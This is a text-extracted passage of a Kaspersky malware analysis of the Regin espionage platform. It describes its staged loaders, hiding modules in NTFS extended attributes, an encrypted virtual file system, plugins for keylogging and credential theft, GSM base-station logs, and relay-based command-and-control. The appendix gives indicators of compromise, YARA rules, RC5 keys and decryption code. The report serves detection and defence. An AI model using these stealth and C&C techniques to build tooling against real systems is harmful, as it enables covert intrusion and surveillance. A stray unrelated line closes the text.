Initial compromise and lateral movement The exact method used for the initial compromise remains a mystery, although several theories exist, including use of man-in-the-middle attacks with browser zero-day exploits.
For some of the victims we observed tools and modules designed for lateral movement.
So far we have not encountered any exploits.
The replication modules are copied to remote computers using Windows administrative shares and then executed.
Obviously this tech- nique requires administrative privileges inside the victims network.
In several cases the infected machines were also Windows domain controllers.
Targeting of system administrators via web-based exploits is a simple way of achieving immediate administrative access to the entire network.
TLP: GREEN Contact: intelreportskaspersky.com http://www.kaspersky.com/about/press/major_malware_outbreaks/duqu https://en.wikipedia.org/wiki/Jean-Jacques_Quisquater https://en.wikipedia.org/wiki/Jean-Jacques_Quisquater mailto:intelreports40kaspersky.com?subject 4 The Regin platform Although some private research groups refer to it as the Regin malware, it is not entirely accurate to use theterm malware in this case.
In essence, Regin is a cyberattack platform, which the attackers deploy in victim networks for total remote control at all levels.
The platform is extremely modular in nature and has multiple stages.
Regin platform diagram Stage 1  32/64 bit Known MD5s: 01c2f321b6bfdb9473c079b0797567ba 06665b96e293b23acc80451abb413e50 187044596bc1328efa0ed636d8aa4a5c 1c024e599ac055312a4ab75b3950040a 26297dc3cd0b688de3b846983c5385e5 2c8b9d2885543d7ade3cae98225e263b 47d0e8f9d7a6429920329207a32ecc2e 4b6b86c7fec1c574706cecedf44abded 6662c390b2bbbd291ec7987388fc75d7 744c07e886497f7b68f6f7fe57b7ab54 b269894f434657db2b15949641a67532 b29ca4f22ae7b7b25f79c1d4a421139d b505d65721bb2453d5039a389113b566 ba7bb65634ce1e30c1e5415be3d1db1d bfbe8c3ee78750c3a520480700e440f8 d240f06e98c8d3e647cbf4d442d79475 db405ad775ac887a337b02ea8b07fddc TLP: GREEN Contact: intelreportskaspersky.com mailto:intelreports40kaspersky.com?subject 5 ffb0b9b5b610191051a7bdf0806e1e47 In general, the first samples victims detect in their networks are stage 1 loaders.
These are the easiest to notice because they are the only executables that exist directly on the victims computer.
These samples use an odd technique to load the next stages, which until recently was unique to Regin.
Inter- estingly, in mid-2012, the ZeroAccess gang implemented a very similar loading mechanism, which possibly suggests it learned about Regin and its unique features.
(
See http://www.symantec.com/connect/blogs/ trojanzeroaccessc-hidden-ntfs-ea).
The particular feature used (or abused) by Regin to hide its next stages is called NTFS Extended Attributes (EA).
Originally, these were implemented in Windows NT for compatibility with OS/2 applications however, they made their way into later versions of Windows, namely 2000, XP and Vista.
The malware hides its modules in NTFS EAs, splitting large files into several blocks of limited size.
These are dynamically joined, decrypted and executed in memory.
Most of the stage 1 samples we have seen appear to have been built on top of other source code projects, which are piggybacked for instance, the Ser8UART project: http://www.mirrorservice.org/sites/downloads.sourceforge.net/s/se/ser8uart-driver/ser8uart-driver/ Ser8UART20201.1.2.1/.
For instance, the Regin loader with md5 01c2f321b6bfdb9473c079b0797567ba was built on top of the Ser8UART source code.
A careful examination however spots the encrypted configuration block at offset 0x5600.
We can assume the attackers take various low-level open-source projects or Windows DDK source codes and merge them together with their malicious loader.
Hence, each stage 1 loader looks very different from others, as it contains random useless code from various other programs.
This technique makes it more difficult to build reliable detection for the loaders.
Despite the differences, all stage 1 samples are similar in functionality.
They contain an encrypted config block that points to the next stages: Once decrypted, the block contains several folder names and registry key names: TLP: GREEN Contact: intelreportskaspersky.com http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea http://www.mirrorservice.org/sites/downloads.sourceforge.net/s/se/ser8uart-driver/ser8uart-driver/Ser8UART20201.1.2.1/ http://www.mirrorservice.org/sites/downloads.sourceforge.net/s/se/ser8uart-driver/ser8uart-driver/Ser8UART20201.1.2.1/ mailto:intelreports40kaspersky.com?subject 6 In the example above, the stage 1 tries to load a second stage from the extended attributes of the system direc- tory specified in the configuration block (in our case, the WINDOWS folder).
It also tries to read additional data from the EAs of the second directory (in our case, the WINDOWS\fonts directory).
The second attribute value isoptional and may have been used to overcome size limitations.
If the first EA data block is missing, the module also tries to read the complete body of the 2nd stage from aregistry value using the key and value names from the configuration block.
The body of the second stage is encrypted with one of two algorithms that are simple variations of XOR, and issupposed to be a PE file.
The first stage loads that file in memory and calls its entry point function.
The 64-bit variant works in a slightly different way.
Instead of storing the 2nd stage in the registry or extended attributes, the attackers preferred to store it after the end of the last partition on disk.
Known filenames for the 64-bit stage 1: system32\wsharp.dll  detected on a victim machine in Germany system32\wshnetc.dll  detected on a victim machine in Belgium All the stage 1 modules for 64-bit systems were signed with fake digital certificates.
The two fake certificates we identified are supposed to belong to Microsoft Corporation and Broadcom Corporation.
During the infection phase, the attackers inject a trusted CA in the certificates chain, which instructs the system to trust their signatures.
TLP: GREEN Contact: intelreportskaspersky.com 7 Here is what the hard drive of a 64-bit system infected with Regin looks like: Interestingly, while the 32-bit Regin stage 1 runs in kernel mode, on 64-bit systems the attacker code starts in user mode.
This is perhaps due to the fact that it is more difficult to run kernel mode on modern Windows 64-bit systems.
Stage 2  loader  32-bit Known MD5s: 18d4898d82fcb290dfed2a9f70d66833 b9e4f9d32ce59e7c4daf6b237c330e25 The second stage for 32-bit systems is implemented as a driver module.
It has a configuration block encrypted in a similar way to the first stage module.
The configuration block contains the names of two system directories that hold the encrypted third stage in their extended attributes.
It also has the name of a registry value that may hold the body of the third stage in case the EAs are missing (for computers with a FAT/FAT32-formatted system disk).
Once the encrypted third stage is read from the registry or NTFS EAs, it is decrypted using the RC5 algorithm and a fixed 16-byte key that is hardcoded in the second stage.
Then, it is decompressed using the NRV2e algo- rithm from the open-source UCL library.
The second stage module loads the resulting binary in memory, vali- dates that it is a valid PE file, and calls its entry point in a system thread.
The second stage also creates a marker file that can be used to identify the infected machine.
Known filenames for this marker are: SYSTEMROOT\system32\nsreg1.dat SYSTEMROOT\system32\bssec3.dat SYSTEMROOT\system32\msrdc64.dat These files have their timestamp set to the timestamp of the system file SYSTEMROOT\system32\lsass.exe TLP: GREEN Contact: intelreportskaspersky.com 8 The second stage has additional code for removing the startup code of Regin if signaled by the third stage.
Its configuration data contains the locations of the first three stages, including registry keys, names of the directo- ries that hold the encrypted EAs, and the location of the initial driver.
Essentially, the second stage can remove all the Regin stages from the system, effectively cleaning the machine and leaving only the encrypted VFS behind.
Decrypted configuration block of the second stage Stage 2  loader  64-bit Known MD5: d446b1ed24dad48311f287f3c65aeb80 The 64-bit version of the second stage loader is a PE DLL module, since the 64-bit bootstrap chain operates inuser mode.
Just like the first stage, it loads the encrypted body of the next stage from the end of the physical disk and decrypts it with a hardcoded RC5 key, then decompresses it using the nrv2 algorithm from the UCL library.
After decryption and decompression, the code checks if the next stage is a Windows PE DLL module, and if it is, it loads and executes it.
Stage 3  32-bit  kernel mode manager VMEM.sys Known MD5s: 8486ec3112e322f9f468bdea3005d7b5 da03648948475b2d0e3e2345d7a9bbbb On 32-bit systems, the third stage is implemented as a driver module and provides the basic functionality of the malicious framework.
It is responsible for operating the encrypted virtual file system and loading additional plugins, and also provides several built-in plugins for the entire framework.
The module initializes the framework, sets up the plugin system and starts the actual work cycle of the malware.
It also passes execution to the plugin id 50221 that is loaded from the VFS.
TLP: GREEN Contact: intelreportskaspersky.com 9 Built-in plugins provided by this module are: Id Plugin description 1 Core framework functionality 13 UCL library for compression and decompression using the nrv2 family of algorithms 15 RC5 encryption and decryption facilities 61 API for manipulating the encrypted virtual file system (VFS) 7 API for manipulating the encrypted virtual file system (VFS) 50225 API for code injection and kernel-mode hooking 50215 System information 50223 Module notification routines 50111 Utilities Stage 3  64-bit On 64-bit Windows systems, stage 3 is missing.
Stage 2 loads the dispatcher directly from the disk and runs it.
Stage 4 (32-bit) / 3 (64-bit)  dispatcher module, disp.dll 32-bit Known MD5s: 1e4076caa08e41a5befc52efd74819ea 68297fde98e9c0c29cecc0ebf38bde95 6cf5dc32e1f6959e7354e85101ec219a 885dcd517faf9fac655b8da66315462d a1d727340158ec0af81a845abd3963c1 64-bit Known MD5: de3547375fbf5f4cb4b14d53f413c503 The dispatcher library is the user-mode core of the framework.
It is loaded directly as the third stage of the 64-bit bootstrap process, or extracted and loaded from the VFS as module 50221 as the fourth stage on 32-bit systems.
It implements a set of internal plugins: Id Plugin description 1 Core framework functionality 13 UCL library for compression and decompression using the nrv2 family of algorithms 15 RC5 encryption and decryption facilities TLP: GREEN Contact: intelreportskaspersky.com 10 Id Plugin description 61 API for manipulating the encrypted virtual file system (VFS) 7 API for manipulating the encrypted virtual file system (VFS) 11 File writer 51 Autostart installation routines 17 In-memory storage object 19 Configuration storage object 50035 Winsock-based network transport 25 Network transport using packet filters 9 Network transport-related utilities The dispatcher takes care of the most complicated tasks of the Regin platform, such as providing an API to access virtual file systems, basic communications and storage functions, as well as network transport sub- routines.
In essence, the dispatcher is the brain that runs the entire platform.
Stage 4  Virtual File Systems (32/64-bit) The most interesting code from the Regin platform is stored in encrypted file storages, known as Virtual File Systems (VFSes).
During our analysis we were able to obtain 24 VFSes from multiple victims around the world.
Generally, these have random names and can be located in several places in the infected system: Folder on disk File name Description C:\Windows\System32\config\ SystemAudit.
Evt, SystemLog.
Evt, SecurityLog.
Evt, Security- Audit.
Evt, CACHE, SESSIONMGR Old / ancient style, stillaround C:\Windows\System32\ UsrClass.dat Old / ancient style, stillaround C:\WINDOWS\pchealth\helpctr\Database cdata.dat, cdata.edb Old / ancient style, stillaround C:\Windows\System32\config\ UsrEvent.evt, ApplicationLog.
Evt Inside VFS, 6th stage C:\Windows\Panther\ setup.etl.000 Used in a 64-bit infection C:\Windows\System32\wbem\repository\ INDEX2.DATA, OBJECTS2.DATA New style encryption, May2014 C:\Windows\System32\ dnscache.dat, mregnx.dat displn32.dat, dmdskwk.dat, nvwrsnu.dat, tapiscfg.dat New style encryption, May2014 TLP: GREEN Contact: intelreportskaspersky.com 11 Each VFS has a structure that is very similar to a real disk file system such as FAT.
The VFS files start with a header that provides basic information required to operate the file system.
The header is followed by the bitmap of used/ free sectors and then by the file table.
Offset Size Field description 00 02 Sector size 02 02 Maximum number of sectors 04 02 Maximum number of files 06 01 Unknown 07 04 CRC32 of first seven bytes of the header with seed 0x45 0B 04 Size of the file ID field, in bytes 0F 02 Number of files 11 maxSectors/8 Sector usage bitmap File table Sectors Files are described by file table entries: Offset Size Field description 00 04 CRC32 of file contents with seed 0x27 04 04 File size 08 04 Offset of the first sector 0C Size of the file ID field File ID / Plugin ID Each sector starts with a 32-bit integer that is the offset of the next sector of the file.
00 Offset of the next sector 04 (Sector size)byte of file data An example: File record at offset 0x122, file ID 50221, offset of the first sector 0x7B13 Sector at 0x7B13, next sector at 0x7D13 Sector at 0x7D13, next sector at 0x7F13, Sector at 0x7F13, next sector at 0x8113, etc.
TLP: GREEN Contact: intelreportskaspersky.com 12 Example of Regin VFS parsing Although the structures of the file system are unencrypted, the file entries are encrypted.
The encryption algo- rithm used is RC5, and many records are also compressed using the nrv2e algorithm from the UCL library.
UCL is an open source implementation of the proprietary NRV (Not Really Vanished) compression algorithm, and was originally used by the UPX tool.
The reason why the attackers chose UCL is simple: its small, compact and requires little to no additional memory for decompression.
Each VFS we encountered was encrypted with a 16 bytes key, which can vary from victim to victim.
Based on our experience, most files were however encrypted with the same key, 73 23 1F 43 93 E1 9F 2F 99 0C 17 81 5C FF B4 01 stored in the dispatcher module or VMEM.sys kernel core.
VFS RC5 decryption key inside the dispatcher module (disp.dll) In all, we observed about a dozen different VFS keys.
The following plugins were observed inside the VFSes we collected.
These are all identified by a 16-bit number.
The plugins are referenced by these numbers they are like filenames on a normal file system and allow the dispatcher to easily load or reference them.
The binary modules are referenced by these numbers as plugin identifiers and usually have similar internal DLL names e.g., the plugin with ID 50121 will have the internal name 50121.dll in its export table.
Compressed binary modules are accompanied by binary files with the same ID.
These files contain the size of the decom- pressed module and are not included in the description.
TLP: GREEN Contact: intelreportskaspersky.com 13 Known data blocks and their configuration IDs: 0 4 bytes, unknown 1 Configuration data timestamped binary data 4 4 bytes, unknown 9 Transport list and configurations, including peer hostnames and addresses 11 Location of an additional .evt file, usually ApplicationLog.evt 13 Configuration data 14 Configuration data 15 Peer encryption keys 19 Peer network configuration data 25 Packet filter configuration 51 4 bytes, unknown 10001 Strings: legspinv2.6, WILLISCHECKv2.0, additional configuration data 10207 Configuration data 10404 Configuration data 10405 Configuration data 10505 1 byte unknown 50009 Configuration data 50013 List of processes (snort.exe, wireshark.exe, rundll32.exe, etc.)
50049 Log of GSM base station commands.
Very rare, most interesting 50079 Location of a temporary file 50121 Drive names 50139 Event log provider names 50181 Data used by network transport plugins 50185 Plugin configuration 50227 Plugin configuration 50233 Process file name list (Explorer.exe, VMWareService.exe, Update.exe, Msiexec.exe, MailService.exe, etc.)
56001 Plugin configuration 57003 Configuration data Known executable modules and their plugin IDs: 0 Data only 1 Core framework functionality 3 3.sys file timestamp manipulation utilities TLP: GREEN Contact: intelreportskaspersky.com 14 9 Network transport-related utilities 15 RC5 encryption and decryption facilities 25 Network transport using packet filters 27 ICMP network listener using raw sockets 10001 Command-line data collection and administration tools 10105 Utilities 10107 User logon and impersonation, user and domain name collection 10207 pp.dll Keylogger and clipboard sniffer 10211 Network share enumeration and manipulation 10309 Pipe/mailslot backend for plugin 10207 10405 Timestamp conversions 10507 Extraction from the protected storage and credential storages 11101 Detection of process hooks, directory enumeration 11701 Collects information about connected USB storage devices, creates storage files 20005 Driver installation/removal routines 20027 Collects information about sessions, installed browsers and proxy settings 20029 Remote registry manipulation routines 20073 Interception of system network drivers 50001 File system data collection and manipulation 50011 File data extraction 50013 Searches for potentially dangerous processes by module path/name (sniffers, debug- gers, etc.)
50015 Retrieves current system time in Unix timestamp format 50017 Time-related utilities 50019 Sniffer using a packet filter 50025 System information, network share enumeration and scans 50029 Sniffer utilities 50033 Event log hooks 50035 Winsock-based network transport 50037 Network transport over HTTP 50047 Sniffer utilities 50049 HTTP/SMTP/SMB credentials sniffer 50051 Network transport over HTTPS 50053 Sniffer utilities TLP: GREEN Contact: intelreportskaspersky.com 15 50061 Utilities 50063 BPF filter parser 50073 Network routing utilities 50079 Temporary file manipulation 50081 Network transport and configuration utilities 50097 DNS sniffer 50101 Extended system information task scheduler data 50113 Utilities 50115 NDIS filter 50117 Network information: connections, adapters, DNS cache, statistics 50121 File system traversal 50123 HTTPS server, Microsoft-IIS/6.0 50139 Windows event log reader 50185 Dumping users password hashes (LM database) 50211 Driver hooking and hook detection 50215 BEEP driver, used by the 50211 plugin 50219 Injects plugins in processes 50221 disp.dll user-mode core of the framework 50223 Module notification routines 50225 API for code injection and kernel-mode hooking 50227 Code injection and hooking utilities 50231 Replication using network shares and local persistence, remote filename used: ADMIN\ SYSTEM32\SVCSTAT.EXE 50233 Plugin injection utilities 50251 Keyboard driver hooking 50271 Network transport over SMB (named pipes) 55001 E-mail message extraction module U_STARBUCKS 55011 MS Exchange data extraction, appointment information 55007 POP3 proxy server, used in conjunction with plugin 55001 56001 Winsock networking routines The attackers can dynamically add and delete plugins inside the VFS and each victim installation has a different set of plugins depending on the type of activity the attackers need to execute.
For example, only some of the VFSes we have seen had lateral movement modules, designed for infecting other computers in the network.
TLP: GREEN Contact: intelreportskaspersky.com 16 Unusual modules and artifacts In this section we describe some of the most interesting findings about Regin.
Artifacts With high-end APT groups such as the one behind Regin, mistakes are very rare.
Nevertheless, they do happen.
Some of the VFSes we analyzed contain words that appear to be the respective codenames of the modules deployed on the victim: legspinv2.6 and LEGSPINv2.6 WILLISCHECKv2.0 HOPSCOTCH Another module we found, which is a plugin type 55001.0, references U_STARBUCKS: Finally, the word shit appears in many places throughout the code and modules.
TLP: GREEN Contact: intelreportskaspersky.com 17 TLP: GREEN Contact: intelreportskaspersky.com 18 GSM targeting The most interesting aspect we have found so far regarding Regin relates to an infection of a large GSM operator.
One VFS encrypted entry we located had internal id 50049.2, and appears to be an activity log on a GSM Base Station Controller.
From https://en.wikipedia.org/wiki/Base_station_subsystem According to the GSM documentation (http://www.telecomabc.com/b/bsc.html): The Base Station Controller (BSC) is in control of and supervises a number of Base Transceiver Stations (BTS).
The BSC is responsible for the allocation of radio resources to a mobile call and for the handovers that are made between base stations under his control.
Other handovers are under the control of the MSC.
Heres a look at the decoded Regin GSM activity log: TLP: GREEN Contact: intelreportskaspersky.com https://en.wikipedia.org/wiki/Base_station_subsystem http://www.telecomabc.com/b/bsc.html http://www.telecomabc.com/b/bts.html http://www.telecomabc.com/m/msc.html 19 This log is about 70KB in size and contains hundreds of entries like the ones above.
It also includes timestamps that indicate exactly when the command was executed.
The entries in the log appear to contain Ericsson OSS MML (Man-Machine Language as defined by ITU-T) commands (see https://en.wikipedia.org/wiki/Operations_support_system).
Heres a list of some commands issued on the Base Station Controller, together with some of their timestamps: 2008-04-25 11:12:14: rxmop:motyrxotrx 2008-04-25 11:58:16: rxmsp:motyrxotrx 2008-04-25 14:37:05: rlcrp:cellall 2008-04-26 04:48:54: rxble:morxocf-170,subord 2008-04-26 06:16:22: rxtcp:MOtyRXOtg,cellkst022a 2008-04-26 10:06:03: IOSTP 2008-04-27 03:31:57: rlstc:cellpty013c,stateactive 2008-04-27 06:07:43: allip:acla2 2008-04-28 06:27:55: dtstp:DIP264rbl2 2008-05-02 01:46:02: rlstp:cellall,statehalted 2008-05-08 06:12:48: rlmfc:cellNGR035W,mbcchno835129390514522,listtypeactive 2008-05-08 07:33:12: rlnri:cellNGR058y,cellrngr058x 2008-05-12 17:28:29: rrtpp:trapoolall.
Descriptions for the commands: rxmop - check software version type rxmsp - list current call forwarding settings of the Mobile Station rlcrp - list off call forwarding settings for the Base Station Controller rxble - enable (unblock) call forwarding rxtcp - show the Transceiver Group of particular cell allip - show external alarm dtstp -  show Digital Path (DIP) settings (DIP is the name of the function used for supervision of the connected PCM (Pulse Code Modulation) lines) rlstc - activate cell(s) in the GSM network TLP: GREEN Contact: intelreportskaspersky.com https://en.wikipedia.org/wiki/Operations_support_system 20 rlstp - stop cell(s) in the GSM network rlmfc - add frequencies to the active broadcast control channel allocation list rlnri - add cell neighbor rrtpp - show radio transmission transcoder pool details.
The log seems to contain not only the executed commands but also usernames and passwords of some engi- neering accounts: sed[snip]:Alla[snip] hed[snip]:Bag[snip] oss:New[snip] administrator:Adm[snip] In total, the log indicates that commands were executed on 136 different cells.
Some of the cell names include prn021a, gzn010a, wdk004, kbl027a, etc....
The command log we obtained covers a period of about one month, from April 25, 2008 through May 27, 2008.
It is unknown why the commands stopped in May 2008 though perhaps the infection was removed or the attackers achieved their objective and moved on.
Another explanation is that the attackers improved or changed the malware to stop saving logs locally and that is why only some older logs were discovered.
Communication and CC The CC mechanism implemented in Regin is extremely sophisticated and relies on communication drones deployed by the attackers throughout the victim networks.
Most victims communicate with another machine in their own internal network through various protocols as specified in the config file.
These include HTTP and Windows network pipes.
The purpose of such a complex infrastructure is to achieve two goals: (i) to give attackers access deep into the network, potentially bypassing air gaps and (ii) to restrict as much as possible the traffic to the CC.
Heres a look at the decoded configurations:: 17.3.40.101 transport 50037 0 0 y.y.y.5:80  transport 50051 217.y.y.yt:443 17.3.40.93 transport 50035 217.x.x.x:443  transport 50035 217.x.x.x:443 50.103.14.80 transport 27 203.199.89.80  transport 50035 194.z.z.z:8080 51.9.1.3 transport 50035 192.168.3.3:445  transport 50035 192.168.3.3:9322 18.159.0.1 transport 50271 DC  transport 50271 DC In the above table we see configurations extracted from several victims that bridge together infected machines in what appears to be virtual networks: 17.3.40.x, 50.103.14.x, 51.9.1.x, 18.159.0.x.
One of these routes reaches out to the external CC server at 203.199.89.80.
The numbers right after the transport indicate the plugin that handles the communication.
These are in our case: 27 - ICMP network listener using raw sockets 50035 - Winsock-based network transport 50037 - Network transport over HTTP 50051 - Network transport over HTTPS 50271 - Network transport over SMB (named pipes) The machines located on the border of the network act as routers, effectively connecting victims from inside thenetwork with CCs on the Internet.
After decoding all the configurations we have collected, we were able to identify the following external CCs.
TLP: GREEN Contact: intelreportskaspersky.com 21 CC server IP Location Description 61.67.114.73 Taichung, Taiwan Chwbn 202.71.144.113 Chetput, India Chennai Network Operations (team-m.co) 203.199.89.80 Thane, India Internet Service Provider 194.183.237.145 Brussels, Belgium Perceval S.a.
One particular case includes a country in the Middle East.
It was rather astonishing, so we thought it should be mentioned.
In this country all the victims we identified communicate with each other, forming a peer-to-peer network.
The P2P network includes the presidents office, a research center, an educational institution network and a bank.
Spread across the country, these victims are all interconnected with each other.
One of the victims contains a translation drone, which has the ability to forward packets outside the country, to the CC in India.
This represents a rather interesting command-and-control mechanism, which is guaranteed to raise little suspi- cion.
For instance, if all commands to the presidents office are sent through the banks network, then all the malicious traffic visible to the presidents office sysadmins will only be with the bank, in the same country.
TLP: GREEN Contact: intelreportskaspersky.com 22 Victim statistics Over the past two years we have been collecting statistics on the attacks and victims of Regin.
These were aided by the fact that even after the malware is uninstalled, certain artifacts are left behind, which can help identify an infected (but cleaned) system.
For instance, we have seen several cases where the systems were cleaned but the msrdc64.dat infection marker was left behind.
So far, victims of Regin have been identified in 14 countries: Afghanistan Algeria Belgium Brazil Fiji Germany India Indonesia Iran Kiribati Malaysia Pakistan Russia Syria In total, we counted 27 different victims, although it should be pointed out that the definition of a victim here refers to a full entity, including its entire network.
The number of unique PCs infected with Regin is of course much, much higher.
From the map above, Fiji and Kiribati are unusual, because we rarely see such advanced malware in such remote, tiny countries.
In particular, the victim in Kiribati is most unusual.
To put this into context, Kiribati is a small island in the Pacific with a population around 100,000.
According to experts, Kiribati is probably going to become one of the first victims of global warming, as it will be under water by 2050.
(
http://www.businessin- sider.com/pacific-island-nation-kiribati-sinking-2014-5?op1) TLP: GREEN Contact: intelreportskaspersky.com http://www.businessinsider.com/pacific-island-nation-kiribati-sinking-2014-5?op1 http://www.businessinsider.com/pacific-island-nation-kiribati-sinking-2014-5?op1 23 Attribution Considering the complexity and cost of Regins development, it is likely that this operation is supported by a nation state.
While attribution remains a very difficult problem when it comes to professional attackers such as the ones behind Regin, certain metadata extracted from the samples is still worth a look.
We have collected timestamps from samples, which are normally put automatically by the development software: As this information could be easily altered by the developers, it is up to the reader to attempt to interpret this: as an intentional false flag, or a non-critical indicator left by the developers.
More information about Regin is available to Kaspersky Intelligent Services clients.
Contact: intelreportskaspersky.com Conclusions For more than a decade, a sophisticated group known as Regin has targeted high-profile entities around theworld with an advanced malware platform.
As far as we can tell, the operation is still active, although themalware may have been upgraded to more sophisticated versions.
The most recent sample we have seenwas from a 64-bit infection.
This infection was still active in the spring of 2014.
The name Regin is apparently a switched around In Reg, short for In Registry, as the malware can store its modules in the registry.
This name and the detections first appeared in anti-malware products around March 2011.
In some ways the platform reminds us of another sophisticated malware: Turla (http://securelist.com/analysis/ publications/65545/the-epic-turla-operation/).
Some similarities include the use of virtual file systems and the deployment of communication drones to bridge networks together.
Yet through their implementation, coding methods, plugins, hiding techniques and flexibility, Regin surpasses Turla as one of the most sophisticated attack platforms we have ever analyzed.
The ability of this group to penetrate and monitor GSM networks is perhaps the most unusual and interesting aspect of these operations.
In todays world, we have become too dependent on cellphone networks that rely on ancient communication protocols with little or no security available for the end user.
Although all GSM networks have mechanisms embedded that allow entities such as law enforcement to track suspects, there are other parties which can gain this ability and then abuse it to launch other types of attacks against mobile users.
Kaspersky Lab products detect modules from the Regin platform as: Trojan.
Win32.Regin.gen and Rootkit.
Win32.Regin.
If you detect a Regin infection in your network, contact us at: intelserviceskaspersky.com TLP: GREEN Contact: intelreportskaspersky.com mailto:intelreports40kaspersky.com?subject http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ http://securelist.com/analysis/publications/65545/the-epic-turla-operation/ mailto:intelservices40kaspersky.com?subject 24 Technical appendix and indicators of compromise: Yara rules: rule apt_regin_vfs meta: copyright  Kaspersky Lab description  Rule to detect Regin VFSes version  1.0 last_modified  2014-11-24 strings: a100 02 00 08 00 08 03 F6 D7 F3 52 a200 10 F0 FF F0 FF 11 C7 7F E8 52 a300 04 00 10 00 10 03 C2 D3 1C 93 a400 04 00 10 C8 00 04 C8 93 06 D8 condition: (a1 at 0) or (a2 at 0) or (a3 at 0) or (a4 at 0)  rule apt_regin_dispatcher_disp_dll meta: copyright  Kaspersky Lab description  Rule to detect Regin disp.dll dispatcher version  1.0 last_modified  2014-11-24 strings: mzMZ string1shit string2disp.dll string3255.255.255.255 string4StackWalk64 string5imagehlp.dll condition: (mz at 0) and (all of (string))  rule apt_regin_2013_64bit_stage1 meta: copyright  Kaspersky Lab description  Rule to detect Regin 64 bit stage 1 loaders version  1.0 last_modified  2014-11-24 filenamewshnetc.dll md5bddf5afbea2d0eed77f2ad4e9a4f044d filenamewsharp.dll md5c053a0a3f1edcbbfc9b51bc640e808ce strings: mzMZ a1PRIVHEAD a2\\\\.\\PhysicalDrived a3ZwDeviceIoControlFile condition: (mz at 0) and (all of (a)) and filesize  100000  TLP: GREEN Contact: intelreportskaspersky.com 25 rule apt_regin_2011_32bit_stage1 meta: copyright  Kaspersky Lab description  Rule to detect Regin 32 bit stage 1 loaders version  1.0 last_modified  2014-11-24 strings: key1331015EA261D38A7 key29145A98BA37617DE key3EF745F23AA67243D mzMZ condition: (mz at 0) and any of (key) and filesize  300000  rule apt_regin_rc5key meta: copyright  Kaspersky Lab description  Rule to detect Regin RC5 decryption keys version  1.0 last_modified  2014-11-24 strings: key173 23 1F 43 93 E1 9F 2F 99 0C 17 81 5C FF B4 01 key210 19 53 2A 11 ED A3 74 3F C3 72 3F 9D 94 3D 78 condition: any of (key)  MD5s: Stage 1 files, 32 bit: 06665b96e293b23acc80451abb413e50 187044596bc1328efa0ed636d8aa4a5c 1c024e599ac055312a4ab75b3950040a 2c8b9d2885543d7ade3cae98225e263b 4b6b86c7fec1c574706cecedf44abded 6662c390b2bbbd291ec7987388fc75d7 b269894f434657db2b15949641a67532 b29ca4f22ae7b7b25f79c1d4a421139d b505d65721bb2453d5039a389113b566 26297dc3cd0b688de3b846983c5385e5 ba7bb65634ce1e30c1e5415be3d1db1d bfbe8c3ee78750c3a520480700e440f8 d240f06e98c8d3e647cbf4d442d79475 ffb0b9b5b610191051a7bdf0806e1e47 Unusual stage 1 files apparently compiled from various public source codes merged with malicious code: 01c2f321b6bfdb9473c079b0797567ba 47d0e8f9d7a6429920329207a32ecc2e 744c07e886497f7b68f6f7fe57b7ab54 db405ad775ac887a337b02ea8b07fddc TLP: GREEN Contact: intelreportskaspersky.com 26 Stage 1, 64-bit system infection: bddf5afbea2d0eed77f2ad4e9a4f044d c053a0a3f1edcbbfc9b51bc640e808ce e63422e458afdfe111bd0b87c1e9772c Stage 2, 32 bit: 18d4898d82fcb290dfed2a9f70d66833 b9e4f9d32ce59e7c4daf6b237c330e25 Stage 2, 64 bit: d446b1ed24dad48311f287f3c65aeb80 Stage 3, 32 bit: 8486ec3112e322f9f468bdea3005d7b5 da03648948475b2d0e3e2345d7a9bbbb Stage 4 32 bit: 1e4076caa08e41a5befc52efd74819ea 68297fde98e9c0c29cecc0ebf38bde95 6cf5dc32e1f6959e7354e85101ec219a 885dcd517faf9fac655b8da66315462d a1d727340158ec0af81a845abd3963c1 Stage 4 64 bit: de3547375fbf5f4cb4b14d53f413c503 Note: Stages 2,3 and 4 do not appear on infected systems as real files on disk.
Hashes are provided for research purposes only.
Registry branches used to store malware stages 2 and 3: \REGISTRY\Machine\System\CurrentControlSet\Control\RestoreList \REGISTRY\Machine\System\CurrentControlSet\Control\Class\39399744-44FC-AD65-474B-E4DDF- 8C7FB97 \REGISTRY\Machine\System\CurrentControlSet\Control\Class\3F90B1B4-58E2-251E-6FFE- 4D38C5631A04 \REGISTRY\Machine\System\CurrentControlSet\Control\Class\4F20E605-9452-4787-B793- D0204917CA58 \REGISTRY\Machine\System\CurrentControlSet\Control\Class\9B9A8ADB-8864-4BC4-8AD5- B17DFDBB9F58 CC IPs: 61.67.114.73 Taiwan, Province Of China Taichung Chwbn 202.71.144.113 India Chetput Chennai Network Operations (team-m.co) 203.199.89.80 India Thane Internet Service Provider 194.183.237.145 Belgium Brussels Perceval S.a.
TLP: GREEN Contact: intelreportskaspersky.com 27 VFS RC5 decryption algorithm This algorithm is used throughout the code and is referenced as RC5 in the document, although the implemen- tation and the way the cipher is invoked is specific to Regin.
The implementation in C follows: void  RC5Decrypt(uint8_t rc5Key, uint8_t data, size_t len)  uint8_t  iv[8] rc5_ctx_t  ctx uint8_t  encrypted size_t  encryptedLen rc5_init(rc5Key, 128, 20, ctx) memcpy(iv, data, 8) encrypted  data  8 encryptedLen  len - 8 if ( encryptedLen  8 )  uint8_t  ivLocal[8] if ( encryptedLen  8) memcpy(ivLocal, iv, 8) else memcpy(ivLocal, encrypted  encryptedLen - (encryptedLen  8) - 8, 8) rc5_enc(ivLocal, ctx) for (size_t idx  0 idx  (encryptedLen  8) idx) encrypted[idx  encryptedLen - (encryptedLen  8)]  ivLocal[idx]  if ( encryptedLen / 8  1 )  for (ssize_t blockIdx  (encryptedLen / 8) - 1 blockIdx  0 blockIdx--)  rc5_dec(encrypted  blockIdx8, ctx) for (size_t idx  0 idx  8 idx) encrypted[blockIdx8  idx]  encrypted[(blockIdx-1)8  idx]   if ( encryptedLen / 8  0 )  rc5_dec(encrypted, ctx) for (size_t idx  0 idx  8 idx) encrypted[idx]  iv[idx]   TLP: GREEN Contact: intelreportskaspersky.com Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: 7-495-797-8700 Fax:  7-495-797-8709 E-mail: infokaspersky.com Website: www.kaspersky.com http://www.kaspersky.com/about/contactinfo/contacts_global_hq mailto:info40kaspersky.com?subject http://www.kaspersky.com
Culture Mandala, Vol.
8, No.
